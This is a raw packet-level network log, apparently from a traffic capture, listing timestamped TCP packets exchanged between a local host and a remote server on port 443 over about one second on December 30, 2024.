Dec 30, 2024 19:46:00.411386013 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.411437035 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.411442041 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.411461115 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.411475897 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.411475897 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.411487103 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.411518097 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.411530018 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.411549091 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.411551952 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.411573887 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.411603928 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.414530039 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.494541883 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.494560003 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.494627953 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.494641066 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.494688988 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.494707108 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.494725943 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.494788885 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.494796038 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.494843006 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.495038033 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.495049953 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.495090961 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.495098114 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.495126963 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.495141983 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.497112989 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.497124910 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.497164965 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.497169971 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.497189999 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.497209072 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.497473001 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.497487068 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.497526884 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.497530937 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.497560024 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.497575045 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.497602940 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.497616053 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.497673035 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.497678995 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.497709036 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.497729063 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.497885942 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.497899055 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.497951984 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.497967005 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.498001099 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.498163939 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.498187065 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.498222113 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.498228073 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.498250008 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.498275042 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.500411034 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.580893040 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.580913067 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.581011057 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.581016064 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.581032038 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.581064939 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.581063986 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.581078053 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.581114054 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.581367016 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.581382036 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.581430912 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.581439972 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.581450939 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.582597017 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.583283901 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.583304882 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.583357096 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.583363056 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.583723068 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.583832979 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.583849907 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.583889961 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.583895922 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.583910942 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.583935976 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.583944082 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.583959103 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.583998919 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.584005117 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.584024906 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.584038019 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.584136963 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.584151030 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.584191084 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.584196091 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.584213972 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.584225893 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.584412098 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.584425926 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.584477901 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.584484100 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.585102081 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.586842060 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.678160906 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.678189039 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.678232908 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.678240061 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.678281069 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.678348064 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.678364038 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.678409100 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.678414106 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.678436041 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.678443909 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.678464890 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.678484917 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.678525925 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.678530931 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.678569078 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.678687096 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.678702116 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.678756952 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.678761005 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.678785086 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.678819895 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.678826094 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.678841114 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.678885937 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.678889990 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.678920984 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.678994894 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.679009914 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.679043055 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.679047108 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.679088116 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.679245949 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.679275036 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.679308891 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.679320097 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.679335117 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.679352999 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.679534912 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.679553032 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.679608107 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.679613113 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.682508945 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.682528019 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.810273886 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.810296059 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.810358047 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.810360909 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.810381889 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.810406923 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.810446024 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.810446978 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.810456038 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.810486078 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.810489893 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.810535908 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.810542107 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.810762882 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.810780048 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.810801029 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.810807943 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.810821056 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.810975075 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.810987949 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.811032057 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.811041117 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.811053991 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.811240911 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.811259985 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.811286926 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.811292887 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.811321020 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.811664104 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.811676979 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.811716080 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.811722994 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.811743021 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.813851118 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.823637009 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.823651075 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.823698997 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.823707104 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.823740005 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.824456930 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.970417976 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.970437050 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.970485926 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.970498085 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.970509052 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.970645905 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.970664024 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.970695972 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.970700026 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.970722914 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.970864058 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.970877886 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.970912933 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.970918894 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.970930099 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.971349955 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.971366882 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.971419096 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.971419096 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.971426010 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.971625090 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.971638918 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.971682072 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.971688032 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.971698046 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.971751928 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.971769094 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.971797943 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.971805096 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.971828938 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.972067118 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.972080946 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.972117901 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.972125053 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.972147942 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.972290039 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.972306967 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.972346067 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.972352028 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:00.972373962 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:00.973218918 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.056830883 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.056857109 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.056907892 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.056931973 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.056943893 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.056972027 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.057025909 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.057039976 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.057080030 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.057085991 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.057109118 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.057125092 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.057321072 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.057334900 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.057379007 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.057384014 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.057409048 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.057423115 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.057600021 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.057614088 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.057657003 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.057662010 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.057679892 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.057698965 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.057966948 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.057981968 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.058022976 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.058027983 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.058058023 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.058063984 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.058139086 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.058152914 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.058187008 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.058191061 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.058218002 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.058229923 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.058393955 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.058408022 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.058450937 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.058454990 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.058468103 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.058489084 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.058650017 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.058671951 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.058712006 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.058717966 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.058732033 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.058753967 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.059937000 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.143084049 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.143105030 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.143157959 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.143170118 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.143183947 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.143205881 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.143358946 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.143378973 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.143420935 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.143426895 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.143476963 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.143594027 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.143609047 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.143652916 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.143659115 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.143682003 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.143697977 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.143848896 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.143865108 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.143907070 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.143912077 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.143934011 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.143948078 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.144155979 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.144171953 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.144222021 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.144222021 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.144228935 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.144404888 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.144423962 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.144455910 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.144467115 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.144479036 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.144500971 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.144685984 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.144699097 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.144743919 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.144750118 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.144761086 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.144881964 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.144898891 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.144926071 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.144932032 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.144953012 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.144975901 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.146066904 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.229528904 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.229543924 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.229597092 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.229607105 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.229628086 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.229648113 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.229744911 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.229758024 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.229804039 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.229809046 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.229825020 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.229855061 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.229927063 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.229940891 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.229995012 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.230000973 CET	443	50076	45.118.248.184	192.168.2.4
